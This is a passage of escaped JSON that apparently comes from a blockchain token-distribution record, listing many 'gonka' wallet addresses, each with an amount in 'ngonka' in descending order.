\"gonka1000y038g5sqz6ewnq6f6ktl3xx07fmezc3zrng\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"65864614614\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18lrgkmk9jawp93ppzd3q2gvldskn6yxn0gpfcx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"65724151752\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nge0x24twxwvran6rh4qe56ckxk3ecmkrjhjf2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"65668418996\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13ykzwj2f5zzngs7jl7ywczgestspevqh2vagsj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"65421547215\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nl4vtgr88sy088djkxsknau5fwnx8akh3ppl6d\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"64768866083\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h2qxkeglzstqhdmuewyuwdkae0rk3l8wqxwrl5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"64509160547\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1strn82prjujtuh0dkpt024a4j49qgf37dq83dn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"64402004004\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rzchltn9xn5ysur4c6x89xvtuuddzccvt8zqrw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"63860517133\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1skdtv4vlkwgcnqel2e48vvquhp40mq83m2yjl7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"63742010063\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zmy7dpumv9akvlsqv0n74fyxhhzsmzgjz9rvxf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"63398728288\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uup559m63mjcq6wyewff2su0e2wv5lsyyrcrll\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"63352709447\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wma6mrcffqsp9xaunscm2phckdaxj3m25efscu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"63157541543\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1edyd5lny4esrc35f6egjukmnfseyyyj4vn54mc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"62630134385\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a2k2pz759kj543yzxse4hvvsyjkaw0f42mkpl2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"62491818490\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n0225yr8w7eqdsw3g4kz45vpnyajy69vv4z678\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"62479095739\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14zzmvt5esggym639wk0v8s3gdgdmnjzrh6p7rv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"62432366788\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zkmn95dkr6kpt7vaqc4vdues0q4f72rttcfxq6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"62312811300\"\n }\n ]\n },\n {\n \"recipient\": \"gonka162nxvxvppgfx9ahjlptezrd29t96rm9htun3fr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"62243288794\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17akw9frq5grupdh9fwtc4mym3fgcujf9esdmta\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61900860097\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16w7yu8apgeepr4xc44r6xq65nj2vxnykfcc0yy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61543016753\"\n }\n ]\n },\n {\n \"recipient\": \"gonka150qqxu2zf0lzc3nngal79h0n5ls6lhszzraytv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61448135933\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j9rxapzwm06quxcul5686e7f39g6swhfhwxtwa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61417075275\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zmx4cwayvhf8hevcu6am0sk8ul5trckc2uftmp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61279907916\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hy4zasaf3knphe923exxm3vl6vyr8m5k8y8ucs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61262015909\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qvzmfwlcx663f6klq9050h0hs7neacy6ltyt0s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"61219102383\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1djrtqmjn5gsgdetglnc9j4x6lq3yuvs2rq8ws2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"60826144815\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m7emdk4ez3dm6xmps9v28y8prreq7le58cppmk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"60258273144\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y46v988rv03mdn2c320fxtle6lramzk4nf8s6r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"60074233066\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10xrtfzs46mmjs8dy48auh2xfxq07dxs0mhdcmp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"60063333760\"\n }\n ]\n },\n {\n \"recipient\": \"gonka129wh6ap5m5v0skcxvdcgn5nrfa8d0v5jwfz83p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59908319488\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fyz5uz37ah85tjls6j9kw5grjtrzugt3nwvdpd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59777122878\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jve3qdmmea6kgcl4y5r3hhll3lm0zuz7kutqft\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59673726353\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ujskhylfq7xqzvanuy90fm640zf459x0qtgtxy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59447873425\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c8utgl2469d7mjlhhd4afhj3ycm6rq60y7v8dl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59398642986\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19fpma3577v3fnk8nxjkvg442ss8hvglxwqgzz6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"59024162022\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rtylvt6ylcdphuez6eqerj7d7pv7dc3kh6yvzc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"58194552206\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u9zzj3yj3mwrx0j836u9va0v7swnn4w2u3crl5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"57831348106\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n5gsftqp7ez0tcvaxm5mpxjaw258hcp5zvr6tr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"57811346776\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1s5cqcwmggkp47nwczq3nluh0rjsut4auz69lyg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"57773345295\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zej4dv2sf03axwnenq9qfxvpx5wcdd65sd3rn5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"57567254646\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19qkysq3adu5lrasgvgy7ecd78erz7jndye92jv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"57280775552\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16ehmqk5dkl3v4stgh8k77ttc0kw7se2kn62k8p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"56036171965\"\n }\n ]\n },\n {\n \"recipient\": \"gonka104z9al2taf6gspj2qlsqtjwpxt7ypmpn5z0nxa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"55771358960\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10pgvk2tumqy5n4v2h9dqtkxqes9p208qdy37ta\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"55629036578\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cnna5kqqynkkuwl464x4p5zx5jz00lwxdh9adn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"55550103611\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000937gjpju4udj2wlj3yld0lcw024tp0ztqew\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"55163652942\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ksvye76z43mrtjpdkh3krm579clamh9yh2ytn8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"55154440930\"\n }\n ]\n },\n {\n \"recipient\": \"gonka108gphssdzk24czkrm9apwf50uvs8073u4kwn5t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"54736342264\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u35yjypsyfaw4wpf7gn8m8q9ppumz0yys24tw0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"54433755946\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ctja5ccavyeqnfz7d4nw20a6ytmte9m5hrqayj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53932484693\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pgn9v9studsuhud80h8hphdq8nzxf4380vm7jy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53909712952\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rmww9xqyh0p6tyqk0pmzdexnth9q5gj6yw9u85\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53846770983\"\n }\n ]\n },\n {\n \"recipient\": \"gonka102yeygzzq74pudsa9nwvjh3q9x4q7wscr23hlw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53748095481\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16d7eeauutuukquwqlj4kgunm67wm6nph9n4zxx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53547737659\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rp7kqzjeajyq0qag4hl5gcd7x5v64akghdzuqm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53452611683\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15pgw0fe32rv78hdj2clch9acy0mv08j7xkrmxz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53438396225\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ddhzyd0xlhqnzp05apu26s3ay6mn4mlzll5mjz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53359805996\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14n7ghzxz6252fzu7zdlfm9a6rrqd2dn3xq3ukm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53319980876\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g5t786e2hnry8c4d6fd4rh5t3vsfdnevejtsvy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"53227984900\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gjuagf8hw0skzwhekxxhccy6zy4g3qxal5ynku\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52838302546\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19m47kxgeecyvl4xll882zxwcc7hva5slfxnvq5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52800202780\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d7qwgjstqhlp62hkhdujcfm2dp3snm97jr0vjh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52548445182\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17fc94j99063t6ullr6cgu02ps7kwut28f9ggpj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52038846995\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rvnehahwukcckaeu209jqszkvsztjwmfh2zakj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"51587510358\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vttxzd68fur26l9lew5netz6wxnx7hmmzdkqrn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"51489220843\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10006x5p5z8zukfye552fd58qqj2qth69kv5kmn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"51393381221\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16s9lzz6z882l4lzhm6lh6p4xgsy7r4qlzlgq2u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"51026162306\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qw4wmm6gp57yanpe5jmhmwpcwqzag30zgk7tat\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"50976766164\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zrmra5s53f6pgzxx89znkn5k0duwsksr2xuzke\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"50696660699\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19sftyj72xf8g4kulg7jngvfacw07a8yu0yrjrm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"50296636363\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n3hh2ysxeg37hus7txur32qvxnkmx20fpqfqyr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49854734345\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12kqft8tme0z5zm6skx8zwja7aq8knqc0udfcwp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49596016899\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10009skl232h4c94st5ar3j3c2e34cfk2cpgrj0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49529511304\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1275py7sglqhuyqzmzmdgmpfz9mxsthp8cayjkt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49381058895\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000hqfkcp3cs0fq4r78vvpkjlv5n4x4sdgcv7v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49375333358\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000xmydnfvphwy4n5yww4ex6nwk9mqslf2gnhs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49347000732\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x2qapwtlprmlcxrdtvrskswuznn8v29r4se5tc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"48764873138\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kzhcxdkfdkdyzvl3sdp34yrwkfngdhjwrmua03\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"48442213992\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hkz4qdpl2z4zvlyt6mxfsx04yxfp7sjhnyu2xn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"47842380548\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10008pmwrke48xh42dhe0ul0mm0mhhvz6ta9srs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"46976792533\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zw680tan4k6uwklyq6eedmga8ew85ys4arqkdg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"46885742385\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nm6gfclrfgtf7j56pxpk07ywpazl92puma7a2g\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"46821448184\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100009u7hegukxy5ne3w6ycfleaj7uuvh2juxqd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45998425495\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m8f37e29m7lpvycx5u9dzxp89lzqu2ghfhumw4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45932814256\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1slnscxc26qm7vvpn5qs9yzq9n0l82r4ywkl054\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45861564016\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ym8g5f34h5zu4p4d4ldjnycfkty9qxpmyx5a3m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45641991851\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qzmhx83xnamk0uqup3lxpf2te9karrwjm9cjh7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"45410751244\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nplx25jwgvg072v4a408vs4xcevceumd04khx5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"44230778694\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l42zhzv3hy6d3y88aq37mdgux4u9crd968v9s4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"44220485796\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14a7gpyhushhjhdmwn6dw45tfypaxyeks2kpqtd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43804495764\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16jcz67lj4683hn9ky6w07z7qx2ls5vzgqtc3ey\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43733608497\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u94lnzwgv84xmlu5yhm27pt9qelh0xxay434rn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43657912074\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1t90v237jp5zmw5qu3cmja30nvc9n7t0wstq4vz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43355126381\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13t5wu88fecl8uts96p2gl9xxrta0kavrm2tpfw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43317278170\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q7sm2pxvn6fauhtvaqemww8pjpauc3rxqkdl6h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43184809429\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g273eq5mzhlmd6au5wsm3xymhqhphcer93dtpa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43146961218\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zu2y7jyppptuzgute0ftldhpjl6uzdrduh8xcu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43090188900\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1llw9eff2va8jdt2z0wsy470xag4f7nlhazm4cy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43052340689\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14u7kt72elx59t45gexkkz83a78cfr3vt5976sq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43014492477\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mh2mjta097tak0ak29d0awd3esy7lkwsnxqc87\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"43014492477\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16l5sg48x82jqn9am9us6gug43vj3eg40cxf5uw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42976644265\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10k9lnnfq0m73dcunyskt6yhccvw9xyzajeujcs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42957720160\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dfzzlu0v33hhw0uqyxa665hjdddjvhc4ktzkm3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42900947842\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f9zjwwe5dgstuk4y9fkcu5kdmdx68r5l4wvvek\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42768479102\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hm9s72e0ampva68rvtz57n7d3gp3dxgs37mdge\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42768479102\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qw9ezz48getxr5y3xcwuawyc3l3syk2j7520ap\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42579238044\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f5gtxpge7xn85nh230dwcg6qvz7cv8h74h3mha\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42560313938\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jm9euh70xtv3xg7jpnqwvclqtwwdxm83jucuj2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42560313938\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j9drlddzf50vmnk85cep0n4c5shca8n84t90tz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42427845197\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hfum2nzy80k3uq86nla97a4w423u0zh26axfxt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42424052467\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xt7gy4ya2095jxnf9aerspw95r8h4t5mk39z57\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"42026901717\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vhprg9epy683xghp8ddtdlw2y9cycecmm64tje\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"41636379591\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x2rltnk5rggqh73xluduge4gznf2ynakkg0ma4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"41595184542\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kth9pyyalm0u0wfc7dwdwnsntaer9gmfntlgq9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"41352784953\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ks3t0r8g5glvv4um6ml2gy5dzg7l3t2xmp3fg2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"40888897439\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h360mfpkc9py7hya69mylceahm9a7hmd09et8p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"40648916574\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19lvs39k8pewhh2ecjp2t8ey5xpeac46jvtlprk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"40038583196\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hatmw3tnlskh6jzkc8ds2yxvlpmrvhrz8pgx0c\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"39954392489\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fuezrv0q9hslr4jjgl4cwquytxqe3drksxq6fa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"39354187373\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zmxs507rnegc0takkkarfsu4cktemhzz4anmet\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"39296624546\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uzruntzafa6pvv80gxqfcq0kl7f4vxlyw9n0g8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"38302782759\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sg2uj8u59hjkzh6qwfsgg0n0w63ux35my80h4a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"37153182023\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100070ewvrcraax995yd78cm0nraryzp4hal3hk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36874808119\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cpjcdc97u67m3x35hjj8znuvq37pldfsatmcd6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36854153699\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14vypx85sx0qd4aajmzklhy6s0ygftf57zafd8a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36709046746\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cq9f8uc3hz39qtuf3q77r5kv2y2hy52ehmmvy6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36635985230\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ax52nxfepvshvatstyd3t3v56feaph24xzzf79\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36609116979\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tj9573sdggg2s9ysq8ec7me8xactn0a4kusqaa\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36287326427\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1clm58yldg7zp7dmuwrqyh4quqt339qr3q8fajm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36201014737\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1equqcel7hzlu07ekt7tep62yh23wp0cc2ryqyr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36063803320\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wn9aqvsgnl7zdf4qqndczawav7a22gtq23qax0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35946029498\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1362yedf9k0xpce8y30xg4g4e2mmgvstaf856qd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35860557521\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1000zfcrzdjwwucvs9k2wuy4j5ecj69q5f4v57h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35723100105\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aevup75mz4q3vd89ljkqjlrkxvfpwk3dtvtvq2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35621686765\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zvuzj7ya9zafw309prasd0r4jhykf47mhcpp3x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35304088198\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a2hgufj4f8d307cfa8n4kc8xts56rtnvsxydkz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35301237878\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fnmyrkw6qta9uqn4q666c4d8k2vj3ves68rt38\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35296092668\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gwakaz7dzpay0e4at7jmj0mrnqwjex6kza4dlf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35279872145\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kch7y24sjux5s7qd9l9j02qzusk33xeqwyz0kc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35208000415\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h9axtmze6nqeeh9azggrk0k2qcx8lz2shd67jg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"35161574671\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1m3nnusrecvld0jwueulywqwq0wa0tp7uav2n39\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34979570001\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cn7jka3lx0ex0dxwdcfeaxkqfjl2as080mx90k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"34811978339\"\n }\n ]\n },\n {\n \"recipient\": 